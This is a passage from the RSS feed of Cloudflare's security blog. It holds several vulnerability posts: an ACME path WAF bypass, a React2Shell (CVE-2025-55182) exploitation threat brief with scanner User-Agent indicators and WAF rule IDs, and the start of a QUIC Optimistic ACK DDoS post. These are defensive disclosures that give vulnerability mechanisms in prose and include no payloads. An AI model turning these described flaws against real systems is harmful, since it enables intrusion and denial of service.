            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security Analytics]]></category>
            <guid isPermaLink="false">1oOFMFJ55pkBU09IKiw8fm</guid>
            <dc:creator>Daniele Molteni</dc:creator>
        </item>
        <item>
            <title><![CDATA[How we mitigated a vulnerability in Cloudflare’s ACME validation logic]]></title>
            <link>https://blog.cloudflare.com/acme-path-vulnerability/</link>
            <pubDate>Mon, 19 Jan 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[ A vulnerability was recently identified in Cloudflare’s automation of certificate validation. Here we explain the vulnerability and outline the steps we’ve taken to mitigate it.  ]]></description>
            <content:encoded><![CDATA[ <p><i>This post was updated on January 20, 2026.</i></p><p>On October 13, 2025, security researchers from <a href="https://fearsoff.org/"><u>FearsOff</u></a> identified and reported a vulnerability in Cloudflare's ACME (Automatic Certificate Management Environment) validation logic that disabled some of the <a href="https://developers.cloudflare.com/waf/"><u>WAF</u></a> features on specific ACME-related paths. The vulnerability was reported and validated through Cloudflare’s <a href="https://hackerone.com/cloudflare?type=team"><u>bug bounty</u></a> program.</p><p>The vulnerability was rooted in how our edge network processed requests destined for the ACME HTTP-01 challenge path (<code><i>/.well-known/acme-challenge/*</i></code>). </p><p>Here, we’ll briefly explain how this protocol works and the action we took to address the vulnerability. </p><p><b>Cloudflare has patched this vulnerability and there is no action necessary for Cloudflare customers.</b> There is no evidence of any malicious actor abusing this vulnerability.</p>
    <div>
      <h3>How ACME works to validate certificates</h3>
      <a href="#how-acme-works-to-validate-certificates">
        
      </a>
    </div>
    <p>ACME is a protocol used to <a href="https://www.cloudflare.com/application-services/solutions/certificate-lifecycle-management/">automate the issuance, renewal, and revocation</a> of <a href="https://www.cloudflare.com/application-services/products/ssl/"><u>SSL/TLS certificates</u></a>. When an HTTP-01 challenge is used to validate domain ownership, a Certificate Authority (CA) will expect to find a validation token at the HTTP path following the format of <i>http://{customer domain}/.well-known/acme-challenge/{token value}</i>. </p><p>If this challenge is used by a certificate order managed by Cloudflare, then Cloudflare will respond on this path and provide the token provided by the CA to the caller. If the token provided does not correlate to a Cloudflare managed order, then this request would be passed on to the customer origin, since they may be attempting to complete domain validation as a part of some other system. Check out the flow below for more details — other use cases are discussed later in the blog post.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6myH4sEuRj4hhBPYiITWsB/9be3e62bdd7001ab1ef9b01db094de5b/BLOG-3067_2.png" />
          </figure>
    <div>
      <h3>The underlying logic flaw </h3>
      <a href="#the-underlying-logic-flaw">
        
      </a>
    </div>
    <p>Certain requests to<i> /.well-known/acme-challenge/*</i> would cause the logic serving ACME challenge tokens to disable WAF features on a challenge request, and allow the challenge request to continue to the origin when it should have been blocked.</p><p>Previously, when Cloudflare was serving a HTTP-01 challenge token, if the path requested by the caller matched a token for an active challenge in our system, the logic serving an ACME challenge token would disable WAF features, since Cloudflare would be directly serving the response. This is done because those features can interfere with the CA’s ability to validate the token values and would cause failures with automated certificate orders and renewals.</p><p>However, in the scenario that the token used was associated with a different zone and not directly managed by Cloudflare, the request would be allowed to proceed onto the customer origin without further processing by WAF rulesets.</p>
    <div>
      <h3>How we mitigated this vulnerability</h3>
      <a href="#how-we-mitigated-this-vulnerability">
        
      </a>
    </div>
    <p>To mitigate this issue, a code change was released. This code change only allows the set of security features to be disabled in the event that the request matches a valid ACME HTTP-01 challenge token for the hostname. In that case, Cloudflare has a challenge response to serve back.</p>
    <div>
      <h3>Cloudflare customers are protected</h3>
      <a href="#cloudflare-customers-are-protected">
        
      </a>
    </div>
    <p>As we noted above,<b> Cloudflare has patched this vulnerability and Cloudflare customers do not need to take any action.</b> In addition, there is no evidence  of any malicious actor abusing this vulnerability.</p>
    <div>
      <h3>Moving quickly with vulnerability transparency</h3>
      <a href="#moving-quickly-with-vulnerability-transparency">
        
      </a>
    </div>
    <p>As always, we thank the external researchers for responsibly disclosing this vulnerability. We encourage the Cloudflare community to submit any identified vulnerabilities to help us continually improve the security posture of our products and platform. </p><p>We also recognize that the trust you place in us is paramount to the success of your infrastructure on Cloudflare. We consider these vulnerabilities with the utmost concern and will continue to do everything in our power to mitigate impact. We deeply appreciate your continued trust in our platform and remain committed not only to prioritizing security in all we do, but also acting swiftly and transparently whenever an issue does arise. </p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Network Services]]></category>
            <guid isPermaLink="false">lHLq8aIK0VMgRiInLXnrw</guid>
            <dc:creator>Hrushikesh Deshpande</dc:creator>
            <dc:creator>Andrew Mitchell</dc:creator>
            <dc:creator>Leland Garofalo</dc:creator>
        </item>
        <item>
            <title><![CDATA[React2Shell and related RSC vulnerabilities threat brief: early exploitation activity and threat actor techniques]]></title>
            <link>https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/</link>
            <pubDate>Thu, 11 Dec 2025 16:20:00 GMT</pubDate>
            <description><![CDATA[ Early activity indicates that threat actors quickly integrated this vulnerability into their scanning and reconnaissance routines and targeted critical infrastructure including nuclear fuel, uranium and rare earth elements. We outline the tactics they appear to be using and how Cloudflare is protecting customers.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On December 3, 2025, immediately following the public disclosure of the critical, maximum-severity React2Shell vulnerability (CVE-2025-55182), the <a href="https://www.cloudflare.com/cloudforce-one/services/threat-intelligence/"><u>Cloudforce One</u></a> Threat Intelligence team began monitoring for early signs of exploitation. Within hours, we observed scanning and active exploitation attempts, including traffic originating from infrastructure associated with Asian-nexus threat groups.</p><p>Early activity indicates that threat actors quickly integrated this vulnerability into their scanning and reconnaissance routines. We observed systematic probing of exposed systems, testing for the flaw at scale, and incorporating it into broader sweeps of Internet‑facing assets. The identified behavior reveals the actors relied on a combination of tools, such as standard vulnerability scanners and publicly accessible Internet asset discovery platforms, to find potentially vulnerable React Server Components (RSC) deployments exposed to the Internet.</p><p>Patterns in observed threat activity also suggest that the actors focused on identifying specific application metadata — such as icon hashes, <a href="https://www.cloudflare.com/application-services/products/ssl/">SSL certificate</a> details, or geographic region identifiers — to refine their candidate target lists before attempting exploitation. </p><p>In addition to React2Shell, two additional vulnerabilities affecting specific RSC implementations were disclosed: CVE-2025-55183 and CVE-2025-55184. Both vulnerabilities, while distinct from React2Shell, also relate to RSC payload handling and Server Function semantics, and are described in more detail below.</p>
    <div>
      <h2>Background: React2Shell vulnerability (CVE-2025-55182)</h2>
      <a href="#background-react2shell-vulnerability-cve-2025-55182">
        
      </a>
    </div>
    <p>On December 3, 2025, the React Team <a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components"><u>disclosed</u></a> a Remote Code Execution (RCE) vulnerability affecting servers using the React Server Components (RSC) Flight protocol. The vulnerability, <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-55182"><u>CVE-2025-55182</u></a>, received a CVSS score of 10.0 and has been informally referred to as React2Shell.</p><p>The underlying cause of the vulnerability is an unsafe deserialization flaw in the RSC Flight data-handling logic. When a server processes attacker-controlled payloads without proper validation, it becomes possible to influence server-side execution flow. In this case, crafted input allows an attacker to inject logic that the server interprets in a privileged context.</p><p>Exploitation is straightforward. A single, specially crafted HTTP request is sufficient; there is no authentication requirement, user interaction, or elevated permissions involved. Once successful, the attacker can execute arbitrary, privileged JavaScript on the affected server.</p><p>This combination of authenticated access, trivial exploitation, and full code execution is what places CVE-2025-55182 at the highest severity level and makes it significant for organizations relying on vulnerable versions of React Server Components. </p><p>In response, Cloudflare has deployed new rules across its network, with the default action set to Block. These new protections are included in both the Cloudflare Free Managed Ruleset (available to all Free customers) and the standard Cloudflare Managed Ruleset (available to all paying customers), as detailed below. More information about the different rulesets can be found in our <a href="https://developers.cloudflare.com/waf/managed-rules/#available-managed-rulesets"><u>documentation</u></a>.
</p><table><tr><th><p><b>CVE</b></p></th><th><p><b>Description</b></p></th><th><p><b>Cloudflare WAF Rule ID</b></p></th></tr><tr><td><p><b>CVE-2025-55182</b></p><p>React - RCE</p></td><td><p>Rules to mitigate React2Shell Exploit</p></td><td><p><b>Paid:</b> 33aa8a8a948b48b28d40450c5fb92fba</p><p><b>Free:</b> 2b5d06e34a814a889bee9a0699702280</p></td></tr><tr><td><p><b>CVE-2025-55182 - 2</b></p><p>React - RCE Bypass</p></td><td><p>Additional rules to mitigate exploit bypass</p></td><td><p><b>Paid:</b> bc1aee59731c488ca8b5314615fce168</p><p><b>Free:</b> cbdd3f48396e4b7389d6efd174746aff</p></td></tr><tr><td><p><b>CVE-2025-55182</b></p><p>Scanner Detection</p></td><td><p>Additional paid WAF rule to catch React2Shell scanning attempts</p></td><td><p><b>Paid:</b> 1d54691cb822465183cb49e2f562cf5c</p></td></tr></table><p>
</p>
    <div>
      <h2>Recently disclosed RSC vulnerabilities</h2>
      <a href="#recently-disclosed-rsc-vulnerabilities">
        
      </a>
    </div>
    <p>In addition to React2Shell, two additional vulnerabilities affecting specific RSC implementations were disclosed. The two vulnerabilities, while distinct from React2Shell, also relate to RSC payload handling and Server Function semantics, with corresponding Cloudflare protections noted below:</p><p></p><table><tr><th><p><b>CVE</b></p></th><th><p><b>Description</b></p></th><th><p><b>Cloudflare WAF Rule ID</b></p></th></tr><tr><td><p><b>CVE-2025-55183</b></p><p>Leaking Server Functions</p></td><td><p>In deployments where Server Function identifiers are insufficiently validated, an attacker may force the server into returning the source body of a referenced function</p></td><td><p><b>Paid:</b> 17c5123f1ac049818765ebf2fefb4e9b

<b>Free:</b> 3114709a3c3b4e3685052c7b251e86aa</p></td></tr><tr><td><p><b>CVE-2025-55184</b></p><p>React Function DoS</p></td><td><p>A crafted RSC Flight Payload containing cyclical Promise references can trigger unbounded recursion or event-loop lockups under certain server configurations, resulting in denial-of-service conditions</p></td><td><p><b>Paid:</b> 2694f1610c0b471393b21aef102ec699</p></td></tr><tr><td><p><b>CVE-2025-67779</b></p></td><td><p>Rule for incomplete fix addressing CVE-2025-55184 in React Server Components </p></td><td><p><b>Paid: </b>2694f1610c0b471393b21aef102ec699</p></td></tr></table><p>
</p>
    <div>
      <h3>Investigation of early scanning and exploitation</h3>
      <a href="#investigation-of-early-scanning-and-exploitation">
        
      </a>
    </div>
    <p>The following analysis details the initial wave of activity observed by Cloudforce One, focusing on threat actor attempts to scan for and exploit the React2Shell vulnerability. While these findings represent activity immediately following the vulnerability's release, and were focused on known threat actors, it is critical to note that the volume and scope of related threat activity have expanded dramatically since these first observations.</p>
    <div>
      <h3>Tactics</h3>
      <a href="#tactics">
        
      </a>
    </div>
    <p>Unsurprisingly, the threat actors were relying heavily on publicly available, commercial, and a variety of other tools to identify vulnerable servers:</p><ul><li><p><b>Vulnerability intelligence</b>: The actors leveraged vulnerability intelligence databases that aggregated CVEs, advisories, and exploits for tracking and prioritization.</p></li><li><p><b>Vulnerability reconnaissance</b>: The actors conducted searches using large-scale reconnaissance services, indicating they are relying on Internet-wide scanning and asset discovery platforms to find exposed systems running React App or RSC components. They also made use of tools that identify the software stack and technologies used by websites.</p></li><li><p><b>Vulnerability scanning</b>: Activity included use of Nuclei (User-Agent: <i>Nuclei - CVE-2025-55182</i>), a popular rapid scanning tool used to deploy YAML-based templates to check for vulnerabilities. The actors were also observed using a highly likely React2Shell scanner associated with the User-Agent "<i>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 React2ShellScanner/1.0.0</i>".</p></li><li><p><b>Vulnerability exploitation</b>: The actors made use of Burp Suite, a web application security testing platform for identifying and exploiting vulnerabilities in HTTP/S traffic.</p></li></ul>
    <div>
      <h3>Techniques </h3>
      <a href="#techniques">
        
      </a>
    </div>
    <p>
<strong>Recon via Internet-wide scanning and asset discovery platform</strong> <br />
To enumerate potential React2Shell targets, the actors leveraged an Internet-wide scanning and asset-discovery platform commonly used to fingerprint web technologies at scale. Their queries demonstrated a targeted effort to isolate React and Next.js applications — two frameworks directly relevant to the vulnerability — by searching for React-specific icon hashes, framework-associated metadata, and page titles containing React-related keywords. This approach likely allowed them to rapidly build an inventory of exploitable hosts before initiating more direct probing.
</p>
<p>
<strong>Targeting enumeration and filtering </strong><br />
During their reconnaissance phase, the operators applied additional filtering logic to refine their target set and minimize noise. Notably, they excluded Chinese IP space from their searches, indicating that their enumeration workflow intentionally avoided collecting data on possibly domestic infrastructure. They also constrained scanning to specific geographic regions and national networks to identify likely high-value hosts. Beyond basic fingerprinting, the actors leveraged SSL certificate attributes — including issuer details, subject fields, and top-level domains — to surface entities of interest, such as government or critical-infrastructure systems using .gov or other restricted TLDs. This combination of geographic filtering and certificate-based pivoting enabled a more precise enumeration process that prioritized strategically relevant and potentially vulnerable high-value targets. 
</p>
<p>
<strong>Preliminary target analysis</strong><br />
Observed activity reflected a clear focus on strategically significant organizations across multiple regions. Their highest-density probing occurred against networks in Taiwan, Xinjiang Uygur, Vietnam, Japan, and New Zealand — regions frequently associated with geopolitical intelligence collection priorities. Other selective targeting was also observed against entities across the globe, including government (.gov) websites, academic research institutions, and critical‑infrastructure operators. These infrastructure operators specifically included a national authority responsible for the import and export of uranium, rare metals, and nuclear fuel.
</p>
<p>
The actors also prioritized high‑sensitivity technology targets such as enterprise password managers and secure‑vault services, likely due to their potential to provide downstream access to broader organizational credentials and secrets. 
</p>
<p>
Additionally, the campaign targeted edge‑facing SSL VPN appliances whose administrative interfaces may incorporate React-based components, suggesting the actor sought to exploit React2Shell against both traditional web applications and embedded web management frameworks in order to maximize access opportunities.
</p>
<p>
<strong>Early threat actor observations</strong><br />
Cloudforce One analysis confirms that early scanning and exploitation attempts originated from IP addresses previously associated with multiple Asia-affiliated threat actor clusters.  While not all observed IP addresses belong to a single operator, the simultaneous activity suggests shared tooling, infrastructure, or experimentation in parallel among groups with a common purpose and shared targeting objectives. Observed targeting enumeration and filtering (e.g. a focus on Taiwan and Xinjiang Uygur, but exclusion of China), as well as heavy use of certain scanning and asset discovery platforms, suggest general attribution to Asia-linked threat actors.
</p>
    <div>
      <h2>Overall trends</h2>
      <a href="#overall-trends">
        
      </a>
    </div>
    <p>Cloudflare’s Managed Rulesets for React2Shell began detecting significant activity within hours of the vulnerability’s disclosure. The graph below shows the daily hit count across the two exploit-related React2Shell WAF rules. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6ZPNWf2mq7JFWbJapwsasg/61fc8669da21d8fc8b690386b8ba0915/BLOG-3096_2.png" />
          </figure><p><sup>Aggregate rule hit volume over time</sup></p><p>The React2Shell disclosure triggered a surge of opportunistic scanning and exploit behavior. In total, from 2025-12-03 00:00 UTC to 2025-12-11 17:00UTC, we received 582.10M hits. That equates to an average of 3.49M hits per hour, with a maximum number of hits in a single hour reaching 12.72M. The average unique IP count per hour was 3,598, with the maximum number of IPs in an hour being 16,585.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/37fQ8Y7Iq1rKsGiqdzS3oo/7027ce50c100bd46fcb93d3a9a88048d/BLOG-3096_3.png" />
          </figure><p><sup>Hourly count of unique IPs sending React2Shell-related probes </sup></p><p>Our data also shows distinct peaks above 6,387 User-Agents per hour, indicating a heterogeneous mix of tools and frameworks in use, with the average number of unique User-Agents per hour being 2,255. The below graph shows exploit attempts based on WAF rules (Free and Managed) triggering on matching payloads:  </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6FLgmrryaXpy59O8fy5ncm/b6308ead7ad544b5e2524c97449850d6/image2.png" />
          </figure><p><sup>Unique User-Agent strings used in React2Shell-related requests</sup></p><p>To better understand the types of automated tools probing for React2Shell exposure, Cloudflare analyzed the User-Agent strings associated with React2Shell-related requests since December 3, 2025. The data shows a wide variety of scanning tools suggesting broad Internet-wide reconnaissance: </p><table><tr><th><p><b>Top 10 User Agent strings by exploit attempts</b></p></th></tr><tr><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0</p></td></tr><tr><td><p>Block Security Team/Assetnote-HjJacErLyq2xFe01qaCM1yyzs</p></td></tr><tr><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 (GIS - AppSec Team - Project Vision)</p></td></tr><tr><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36</p></td></tr><tr><td><p>python-requests/2.32.5</p></td></tr><tr><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 (ExposureScan)</p></td></tr><tr><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36</p></td></tr><tr><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36</p></td></tr><tr><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36</p></td></tr><tr><td><p>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.1</p></td></tr></table>
    <div>
      <h3>Payload variation and experimentation</h3>
      <a href="#payload-variation-and-experimentation">
        
      </a>
    </div>
    <p>Cloudflare analyzed the payload sizes associated with requests triggering React2Shell-related detection rules. The long-tailed distribution — dominated by sub-kilobyte probes, but punctured by extremely large outliers — suggest actors are testing a wide range of payload sizes:</p><table><tr><th><p><b>Metric</b></p></th><th><p><b>Value</b></p></th></tr><tr><td><p>Maximum payload size</p></td><td><p>375 MB</p></td></tr><tr><td><p>Average payload size</p></td><td><p>3.2 KB</p></td></tr><tr><td><p>p25 (25th Percentile)</p></td><td><p>703 B</p></td></tr><tr><td><p>p75 (75th Percentile)</p></td><td><p>818 B</p></td></tr><tr><td><p>p90 (90th Percentile)</p></td><td><p>2.7 KB</p></td></tr><tr><td><p>p99 (99th Percentile)</p></td><td><p>66.5 KB</p></td></tr><tr><td><p>Standard deviation</p></td><td><p>330 KB</p></td></tr></table>
    <div>
      <h2>Additional React vulnerabilities identified </h2>
      <a href="#additional-react-vulnerabilities-identified">
        
      </a>
    </div>
    <p>In parallel with our ongoing analysis of the React2Shell vulnerability, two additional vulnerabilities affecting React Server Components (RSC) implementations have been identified:</p>
    <div>
      <h3>1. React function DoS</h3>
      <a href="#1-react-function-dos">
        
      </a>
    </div>
    <p>The vulnerability <b>CVE-2025-55184</b> was recently disclosed, revealing that React Server Component frameworks can be forced into a Node.js state where the runtime unwraps an infinite recursion of nested Promises.</p><p>This behavior:</p><ul><li><p>Freezes the server indefinitely</p></li><li><p>Prevents yielding back to the event loop</p></li><li><p>Effectively takes the server offline</p></li><li><p>Does not require any specific Server Action usage — merely the presence of a server capable of processing an RSC Server Action payload </p></li></ul><p>The trigger condition is a cyclic promise reference inside the RSC payload.</p>
    <div>
      <h3>2. Leaking server functions </h3>
      <a href="#2-leaking-server-functions">
        
      </a>
    </div>
    <p>Another vulnerability, <b>CVE-2025-55183</b>, was also recently disclosed, revealing that certain React Server Component frameworks can leak server-only source code under specific conditions.</p><p>If an attacker gains access to a Server Function that:</p><ul><li><p>Accepts an argument that undergoes string coercion, and</p></li><li><p>Does not validate that the argument is of an expected primitive type</p></li></ul><p>then the attacker can coerce that argument into a reference to a different Server Function. The coerced value’s toString() output causes the server to return the source code of the referenced Server Function.</p>
    <div>
      <h2>How Cloudflare is protecting customers</h2>
      <a href="#how-cloudflare-is-protecting-customers">
        
      </a>
    </div>
    <p>Cloudflare’s protection strategy is multi-layered, relying on both the inherent security model of its platform and immediate, proactive updates to its Web Application Firewall (WAF). </p><ul><li><p>Cloudflare Workers: React-based applications and frameworks deployed on Cloudflare Workers are inherently immune. The Workers security model prevents exploits from succeeding at the runtime layer, regardless of the malicious payload.</p></li><li><p>Proactive WAF deployment: Cloudflare urgently deployed WAF rules to detect and block traffic proxied through its network related to React2Shell and the recently disclosed RSC vulnerabilities.   </p></li></ul><p>The Cloudflare security team continues to monitor for additional attack variations and will update protections as necessary to maintain continuous security for all proxied traffic. </p>
    <div>
      <h2>Continuous monitoring </h2>
      <a href="#continuous-monitoring">
        
      </a>
    </div>
    <p>While Cloudflare's emergency actions — the WAF limit increase and immediate rule deployment — have successfully mitigated the current wave of exploitation attempts, this vulnerability represents a persistent and evolving threat. The immediate weaponization of CVE-2025-55182 by sophisticated threat actors underscores the need for continuous defense.</p><p>Cloudflare remains committed to continuous surveillance for emerging exploit variants and refinement of WAF rules to detect evasive techniques. However, network-level protection is not a substitute for remediation at the source. Organizations must prioritize immediate patching of all affected React and Next.js assets. This combination of platform-level WAF defense and immediate application patching remains the only reliable strategy against this critical threat.</p>
    <div>
      <h2>Indicators of Compromise</h2>
      <a href="#indicators-of-compromise">
        
      </a>
    </div>
    <table><tr><th><p><b>Tool/Scanner</b></p></th><th><p><b>User Agent String</b></p></th><th><p><b>Observation/Purpose</b></p></th></tr><tr><td><p><b>Nuclei</b></p></td><td><p>Nuclei - CVE-2025-55182</p></td><td><p>User-Agent for rapid, template-based scanning for React2Shell vulnerability</p></td></tr><tr><td><p><b>React2ShellScanner</b></p></td><td><p>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 React2ShellScanner/1.0.0</p></td><td><p>User-Agent for a likely custom React2Shell vulnerability scanner</p></td></tr></table><p></p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Threat Intelligence]]></category>
            <category><![CDATA[Research]]></category>
            <guid isPermaLink="false">6hIbIpaov6tE7iKLlTL1gp</guid>
            <dc:creator>Cloudforce One</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare WAF proactively protects against React vulnerability]]></title>
            <link>https://blog.cloudflare.com/waf-rules-react-vulnerability/</link>
            <pubDate>Wed, 03 Dec 2025 14:20:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare offers protection against a new high profile vulnerability for React Server Components: CVE-2025-55182. All WAF customers are automatically protected as long as the WAF is deployed. ]]></description>
            <content:encoded><![CDATA[ <p></p><p><br /></p><p>Cloudflare has deployed a new protection to address a vulnerability in React Server Components (RSC). <b>All Cloudflare customers are automatically protected, including those on free and paid plans, as long as their React application traffic is proxied through the Cloudflare Web Application Firewall (WAF).</b></p><p>Cloudflare Workers are inherently immune to this exploit. React-based applications and frameworks deployed on Workers are not affected by this vulnerability.</p><p>We strongly recommend that customers immediately update their systems to the most recent version of React, despite our WAF being designed to detect and prevent this exploit.</p>
    <div>
      <h3>What you need to know</h3>
      <a href="#what-you-need-to-know">
        
      </a>
    </div>
    <p>Cloudflare has been alerted by its security partners to a Remote Code Execution (RCE) vulnerability impacting Next.js, React Router, and other React frameworks (security advisory CVE-2025-55182, rated CVSS 10.0). Specifically, React version 19.0, 19.1, and 19.2, and Next.js from version 15 through 16 were found to insecurely deserialize malicious requests, leading to RCE.</p><p><b>In response, Cloudflare has deployed new rules across its network, with the default action set to Block. </b>These new protections are included in both the Cloudflare Free Managed Ruleset (available to all Free customers) and the standard Cloudflare Managed Ruleset (available to all paying customers). More information about the different rulesets can be found in our <a href="https://developers.cloudflare.com/waf/managed-rules/#available-managed-rulesets"><u>documentation</u></a>.</p><p>The rule ID is as follows:</p><table><tr><td><p>Ruleset</p></td><td><p>Rule ID</p></td><td><p>Default action</p></td></tr><tr><td><p><code>Managed Ruleset</code></p></td><td><p><code>33aa8a8a948b48b28d40450c5fb92fba</code></p></td><td><p>Block</p></td></tr><tr><td><p><code>Free Ruleset</code></p></td><td><p><code>2b5d06e34a814a889bee9a0699702280</code></p></td><td><p>Block</p></td></tr></table><p><b>Customers on Professional, Business, or Enterprise plans should ensure that Managed Rules are enabled  —  </b><a href="https://developers.cloudflare.com/waf/get-started/#1-deploy-the-cloudflare-managed-ruleset"><b><u>follow these steps to turn it on</u></b></a><b>.</b> Customers on a Free plan have these rules enabled by default.</p><p>We recommend that customers <b>update to the latest version of React 19.2.1 and the latest versions of Next.js (16.0.7, 15.5.7, 15.4.8)</b>.</p><p>The rules were deployed at 5:00 PM GMT on Tuesday, December 2, 2025. Since their release until the publication of this blog and the official CVE announcement, we have not observed any attempted exploit.</p>
    <div>
      <h3>Looking forward</h3>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>The Cloudflare security team has collaborated with partners to identify various attack patterns and ensure the new rules effectively prevent any bypasses. Over the coming hours and days, the team will maintain continuous monitoring for potential attack variations, updating our protections as necessary to secure all traffic proxied via Cloudflare.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Nej3zxhHlPNwFL5L5k7Zq/e19062d3811e9704d4ddd0ad16428fa4/BLOG-3089_2.png" />
          </figure><p></p> ]]></content:encoded>
            <category><![CDATA[Cloudforce One]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Web Application Firewall]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[React]]></category>
            <guid isPermaLink="false">6yAZ5qr270gBwMkcYu63DX</guid>
            <dc:creator>Daniele Molteni</dc:creator>
        </item>
        <item>
            <title><![CDATA[Defending QUIC from acknowledgement-based DDoS attacks]]></title>
            <link>https://blog.cloudflare.com/defending-quic-from-acknowledgement-based-ddos-attacks/</link>
            <pubDate>Wed, 29 Oct 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ We identified and patched two DDoS vulnerabilities in our QUIC implementation related to packet acknowledgements. Cloudflare customers were not affected. We examine the "Optimistic ACK" attack vector and our solution, which dynamically skips packet numbers to validate client behavior.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On April 10th, 2025 12:10 UTC, a security researcher notified Cloudflare of two vulnerabilities (<a href="https://www.cve.org/CVERecord?id=CVE-2025-4820"><u>CVE-2025-4820</u></a> and <a href="https://www.cve.org/CVERecord?id=CVE-2025-4821"><u>CVE-2025-4821</u></a>) related to QUIC packet acknowledgement (ACK) handling, through our <a href="https://hackerone.com/cloudflare?type=team"><u>Public Bug Bounty</u></a> program. These were DDoS vulnerabilities in the <a href="https://github.com/cloudflare/quiche"><u>quiche</u></a> library, and Cloudflare services that use it. quiche is Cloudflare's open-source implementation of QUIC protocol, which is the transport protocol behind <a href="https://blog.cloudflare.com/http3-the-past-present-and-future/"><u>HTTP/3</u></a>.</p><p>Upon notification, Cloudflare engineers patched the affected infrastructure, and the researcher confirmed that the DDoS vector was mitigated. <b>Cloudflare’s investigation revealed no evidence that the vulnerabilities were being exploited or that any customers were affected.</b> quiche versions prior to 0.24.4 were affected.</p><p>Here, we’ll explain why ACKs are important to Internet protocol design and how they help ensure fair network usage. Finally, we will explain the vulnerabilities and discuss our mitigation for the Optimistic ACK attack: a dynamic CWND-aware skip frequency that scales with a connection’s send rate.</p>
    <div>
      <h3>Internet Protocols and Attack Vectors</h3>
      <a href="#internet-protocols-and-attack-vectors">
        
      </a>
    </div>
    <p>QUIC is an Internet transport protocol that offers equivalent features to <a href="https://www.cloudflare.com/learning/ddos/glossary/tcp-ip/"><u>TCP</u></a> (Transmission Control Protocol) and <a href="https://www.cloudflare.com/learning/ssl/transport-layer-security-tls/"><u>TLS</u></a> (Transport Layer Security). QUIC runs over <a href="https://www.cloudflare.com/en-gb/learning/ddos/glossary/user-datagram-protocol-udp/"><u>UDP</u></a> (User Datagram Protocol), is encrypted by default and offers a few benefits over the prior set of protocols (including smaller handshake time, connection migration, and preventing <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking"><u>head-of-line blocking</u></a> that can manifest in TCP). Similar to TCP, QUIC relies on packet acknowledgements to make general progress. For example, ACKs are used for liveliness checks, validation, loss recovery signals, and congestion algorithm signals.</p><p>ACKs are an important source of signals for Internet protocols, which necessitates validation to ensure a malicious peer is not subverting these signals. Cloudflare's QUIC implementation, quiche, lacked ACK range validation, which meant a peer could send an ACK range for packets never sent by the endpoint; this was patched in <a href="https://www.cve.org/CVERecord?id=CVE-2025-4821"><u>CVE-2025-4821</u></a>. Additionally, a sophisticated attacker could  mount an attack by predicting and preemptively sending ACKs (a technique called Optimistic ACK); this was patched in <a href="https://www.cve.org/CVERecord?id=CVE-2025-4820"><u>CVE-2025-4820</u></a>. By exploiting the lack of ACK validation, an attacker can cause an endpoint to artificially expand its send rate; thereby gaining an unfair advantage over other connections. In the extreme case this can be a DDoS attack vector caused by higher server CPU utilization and an amplification of network traffic.</p>
    <div>
      <h3>Fairness and Congestion control</h3>
      <a href="#fairness-and-congestion-control">
        
      </a>
    </div>
    <p>A typical CDN setup includes hundreds of server processes, serving thousands of concurrent connections. Each connection has its own recovery and congestion control algorithm that is responsible for determining its fair share of the network. The Internet is a shared resource that relies on well-behaved transport protocols correctly implementing congestion control to ensure fairness.</p><p>To illustrate the point, let’s consider a shared network where the first connection (blue) is operating at capacity. When a new connection (green) joins and probes for capacity, it will trigger packet loss, thereby signaling the blue connection to reduce its send rate. The probing can be highly dynamic and although convergence might take time, the hope is that both connections end up sharing equal capacity on the network.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/44jjkcx22rpD7VdnZKsnPD/4d514e73c885a729bd973b3efb2564bf/image4.jpg" />
